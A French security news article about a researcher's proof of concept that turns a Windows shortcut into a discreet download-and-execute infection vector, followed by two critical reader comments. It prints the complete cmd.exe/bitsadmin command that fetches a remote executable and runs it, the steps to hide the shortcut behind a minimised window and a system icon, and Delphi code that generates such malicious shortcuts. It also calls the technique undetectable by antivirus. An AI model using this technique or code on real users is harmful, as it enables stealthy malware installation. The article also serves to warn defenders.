Un raccourcis Windows comme point d’entrée d’infection (PoC)

2
167

Exclusif ! Un chercheur en sécurité français à découvert une nouvelle technique d’infection très discrète compatible avec toutes les machines sous Windows XP SP2 jusqu’à Windows 10 !

Download + Execute 100% FUD

Voila quelques mots qui feraient rêver bien des pirates informatiques ! Le Proof of Concept (PoC) dévoilé par le chercheur français @DarkCoderSc de Phrozen Software a de quoi en étonner plus d’un, surtout de part sa simplicité : il s’agit d’un détournement des raccourcis Windows permettant d’en créer des piégés afin de télécharger et d’exécuter n’importe quel fichier binaire distant.

La technique fonctionne avec tous les systèmes d’exploitation Microsoft Windows, de Windows XP SP2 à Windows 10, en passant par les Windows Server… Très discrète et difficile à détecter, cette technique pourrait bien être un moyen d’infection très efficace !

  • Un raccourcis n’est pas un exécutable binaire. Il ne fait que pointer vers un autre fichier, et ne peut qu’exécuter des commandes Windows Shell (potentiellement dangereux).
  • Les logiciels antivirus ne détecte pas de raccourcis malveillant car ce n’est pas un fichier exécutable à risque potentiel.
  • Les raccourcis peuvent être partagés via des archives sans perdre leurs propriétés.
  • L’icone visuel d’un raccourcis est facilement personnalisable et cela peut jouer un rôle décisif lors d’une infection, notamment via une campagne malveillante sur les réseaux sociaux.

La technique dévoilée par DarkCoder se base sur un programme système d’origine présent dans Windows depuis XP SP2 : BITSAdmin Tool

Cet outil en ligne de commande sert habituellement à créer des tâches de téléchargement et à surveiller leur progression. Ce dernier peut donc se réveler très dangereux, surtout si l’on prend en compte le fait que Bitsadmin.exe est un programme signé par Microsoft et approuvé par l’ensemble des programmes antivirus. Ci-dessous, exemple d’une commande basique que l’on peut saisir et exécuter :

bitsadmin /transfer downloader /priority normal https://phrozensoft.com/uploads/2016/09/Winja_2_6084_65441_setup.exe %temp%\setup.exe

Le procédé de création

https://www.youtube.com/watch?v=RX0mcW-8nps

DarkCoder a commencé par créer un simple raccourcis. Bureau, clique droit, puis créer un nouveau raccourcis. Ensuite, le tout est de renseigner le champ cible par la commande suivante :

cmd.exe /C “%windir%\System32\bitsadmin.exe /transfer downloader /priority normal https://phrozensoft.com/uploads/2016/09/Winja_2_6084_65441_setup.exe %temp%\setup.exe & %temp%\setup.exe”

Plus qu’à enregistrer le raccourcis. Ensuite, clique droit et accéder à l’onglet Propriété. Passage de l’exécution en mode minimisé. Il est ensuite possible de modifier l’icone, par l’un présent dans le système via shell32.dll.

Et voila, le raccourcis malveillant est prêt. Il est même possible de générer ce type de fichier à l’aide d’un programme en Delphi :

uses ActiveX, ShlObj, ComObj;

function MaliciousLnk(fileUrl, destFile : String) : Boolean;
var cObject   : IUnknown;
    shellLink : IShellLink;
    PFile     : IPersistFile;

    LinkName  : string;
    Cmd       : String;
begin
  result := false;
  CoInitialize(nil);
  try
    cObject := CreateComObject(CLSID_ShellLink);
    shellLink := cObject as IShellLink;
    PFile := cObject as IPersistFile;

    Cmd := '/C "c:\windows\system32\bitsadmin.exe /transfer downloader /priority normal "' + fileURL + '" %temp%\tmp.exe & %temp%\tmp.exe"';

    shellLink.SetDescription('www.phrozensoft.com');
    shellLink.SetPath('cmd.exe');
    shellLink.SetArguments(PWideChar(cmd));
    shellLink.SetShowCmd(SW_SHOWMINNOACTIVE);
    shellLink.SetWorkingDirectory('%windir%\system32\');
    shellLink.SetIconLocation('shell32.dll', 1);

    result := PFile.Save(PWideChar(destFile), false) = S_OK;
  finally
    CoUninitialize();
  end;
end;

L’usage de Bitsadmin.exe est juste un exemple et il est possible d’exploiter et de détourner de nombreuses autres fonctionnalités :

  • Exécuter une commande DOS Windows standard
  • Utiliser PowerShell pour concevoir des codes malveillants
  • Utiliser le nouveau système Linux embarqué dans Windows 10 si l’option est activée
  • Utiliser rundll32.exe pour appeler des fonctions embarquées dans des DLL
  • Etc…

Comment se protéger ?

DarkCoder livre une solution de protection partielle face à ce problème de sécurité. Il s’agit dans le cas présent de désinstaller complètement l’ensemble du package PowerShell embarqué dans Windows via l’outil de désinstallation des fonctions système de l’OS (redémarrage requis). Cela aura pour effet d’empêcher les attaques via des raccourcies compromis par le biais de PowerShell.

Vous l’aurez compris, ne faites jamais confiance aveuglément aux raccourcis que vous rencontrez car ils pourraient très bien cacher la présence d’un code malveillant indétectable par votre logiciel antivirus. Par ce biais, il est donc potentiellement possible que votre système soit compromis ou infecté. Seule une lecture des propriétés du raccourcis suspect pourra vous assurer sur sa nature !

2 Commentaires

  1. 1: Ce n’est pas difficile du tout à détecter, même pour un programme.

    2: Pas besoin de ça pour faire du download & execute FUD. Mais c’est sûr que pour les “pirate informatique”, les petits noobs qui croient que anonymous existe, pour ceux-là oui ça fait bander vu qu’ils ne savent pas programmer eux-mêmes un download & execute.

    3: DarkCoder devrait arrêter de tout prendre pour des 0day quand enfaite l’utilisation de cette variable dans les raccourci est expliquer sur le site microsoft depuis des années.

    Il n’y a aucune vulnérabilité, la fonction est utilisé à ses fins…. c’est à dire, pour télécharger et executer un fichier, c’est à cela que sert cette fonction, donc ce n’est pas une vulnérabilité.

    Pourquoi ne pas dire que toutes les fonctions qui permettent de supprimer un fichier est un 0 day dans ce cas, puis écrire un petit code qui permet de supprimer un fichier sous Windows ? Ou pourquoi ne pas non plus dire qu’il y a une vulnérabilité dans la création du fichier sous Windows, car on peut créé un fichier qui peut contenir du code qui peut télécharger un fichier ou en supprimer un, ou même faire bouger la souris… ? Non franchement, ça en devient risible, mais dans se monde remplie de noob qui découvre un peu plus l’informatique et internet depuis 2014, c’est sûr qu’on n’a pas fini de voir les gens qui ni connaissent rien faire passer les vessies pour des lanternes.

    Allez darkcoder, sort nous d’autre exploit de ouf jusqu’à ce que t’as réputation auprès des lamers et des script kiddies soit encore plus grande 😛

  2. Bonjour,

    Si je peux me permettre la traduction n’est pas bonne et vous prenez des raccourcis par rapport à l’article d’origine qui lui même en prend par rapport à la réalité du monde Windows.

    Vous annoncez une solution partielle qui est de désinstaller le package PowerShell, si vous relisez l’article source il n’est jamais question de l’exécution de la moindre commande PowerShell ou du moindre script PowerShell. Cette solution n’est pas du tout applicable et peut être contourner car des scripts en CMD peuvent réinstaller le package désinstallé de PowerShell.

Les commentaires sont fermés.